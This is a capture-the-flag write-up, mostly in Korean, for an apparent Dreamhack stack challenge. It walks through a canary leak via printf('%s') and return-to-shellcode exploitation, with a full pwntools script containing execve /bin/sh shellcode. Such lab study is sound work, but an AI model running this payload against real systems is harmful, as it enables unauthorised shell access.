Return to Shellcode
A canary blocks a direct return overwrite, but the stack is executable, so the shellcode goes there.
보호기법 확인
checksec 결과는 다음과 같습니다.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
중요한 부분은 다음과 같습니다.
- Canary 가 존재하므로 return address 를 바로 덮을 수 없다.
- Stack 이 실행 가능하므로 stack 에 shellcode 를 넣고 실행할 수 있다.
- PIE 가 켜져 있지만, 프로그램이 직접 buf 주소를 출력해주므로 큰 문제가 되지 않는다.
핵심 코드는 다음과 같습니다.
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
여기서 취약점은 두 가지입니다. 첫 번째로, buf 의 크기는 0x50인데 read() 는 0x100만큼 입력을 받습니다.
read(0, buf, 0x100);
따라서 buffer overflow 가 발생할 수 있습니다. 두 번째로, 이후에 gets(buf) 를 사용합니다.
gets(buf);
gets() 는 입력 길이를 제한하지 않기 때문에 return address 까지 덮을 수 있습니다.
Stack 구조와 offset 계산
프로그램은 Distance between buf and $rbp: 96 을 출력합니다. 96은 hex 로 0x60입니다. 즉, buf 시작 주소 = rbp - 0x60 입니다. 그리고 canary 는 일반적으로 rbp - 0x8 위치에 저장됩니다. 따라서 canary 까지의 거리는 다음과 같이 계산할 수 있습니다.
(rbp - 0x8) - (rbp - 0x60) = 0x60 - 0x8 = 0x58
즉, buf 시작 지점부터 canary 까지의 offset 은 0x58입니다. Stack 구조는 다음과 같습니다.
buf[0x50] 80 bytes
padding 8 bytes
canary 8 bytes
saved rbp 8 bytes
return address 8 bytes
정리하면 다음과 같습니다.
buf → canary = 0x58
buf → saved rbp = 0x60
buf → return addr = 0x68
Canary leak 방법
이 문제에서는 첫 번째 입력 이후에 다음 코드가 실행됩니다.
printf("Your input is '%s'\n", buf);
%s 는 문자열을 출력할 때 null byte 인 \x00 을 만날 때까지 계속 출력합니다. stack canary 의 첫 번째 바이트는 보통 \x00 입니다. 그래서 일반적으로는 canary 앞에서 출력이 멈춥니다. 하지만 첫 번째 입력에서 0x59바이트를 보내면 canary 의 첫 번째 null byte 까지 덮을 수 있습니다.
p.send(b"A" * 0x59)
의미는 다음과 같습니다.
A * 0x58 → canary 바로 앞까지 채움
A * 1 → canary의 첫 번째 null byte를 덮음
그러면 printf("%s") 가 canary 의 나머지 7바이트를 출력하게 됩니다. leak 된 값은 canary 의 뒤 7바이트이므로, 앞에 \x00 을 다시 붙여서 원래 canary 값을 복구합니다.
leaked = p.recvn(7)
canary = u64(b"\x00" + leaked)
익스플로잇 코드
from pwn import *
context.arch = "amd64"
context.os = "linux"
p = remote("host3.dreamhack.games", 21041)
# buf 주소 leak
p.recvuntil(b"Address of the buf: ")
buf_addr = int(p.recvline().strip(), 16)
# buf와 rbp 사이 거리 leak
p.recvuntil(b"Distance between buf and $rbp: ")
distance = int(p.recvline().strip())
canary_offset = distance - 8
log.info(f"buf address: {hex(buf_addr)}")
log.info(f"canary offset: {hex(canary_offset)}")
# 첫 번째 입력으로 canary leak
p.recvuntil(b"Input: ")
p.send(b"A" * (canary_offset + 1))
p.recvuntil(b"A" * (canary_offset + 1))
leaked = p.recvn(7)
canary = u64(b"\x00" + leaked)
log.info(f"canary: {hex(canary)}")
# amd64 /bin/sh shellcode
shellcode = (
b"\x48\x31\xf6"
b"\x56"
b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
b"\x57"
b"\x54"
b"\x5f"
b"\x6a\x3b"
b"\x58"
b"\x99"
b"\x0f\x05"
)
# 두 번째 입력으로 return address overwrite
p.recvuntil(b"Input: ")
payload = shellcode
payload += b"A" * (canary_offset - len(shellcode))
payload += p64(canary)
payload += b"B" * 8
payload += p64(buf_addr)
p.sendline(payload)
p.interactive()
결론
이 문제는 stack canary 가 적용되어 있어 단순히 return address 를 덮는 방식으로는 exploit 할 수 없습니다. 하지만 첫 번째 입력에서 printf("%s") 를 이용해 canary 의 일부를 leak 할 수 있습니다. 이후 leak 한 canary 값을 payload 에 그대로 포함하고, buf 에 shellcode 를 넣은 뒤 return address 를 buf 주소로 덮으면 shellcode 가 실행됩니다. 결과적으로 stack 이 실행 가능하다는 점을 이용해 shell 을 획득할 수 있습니다.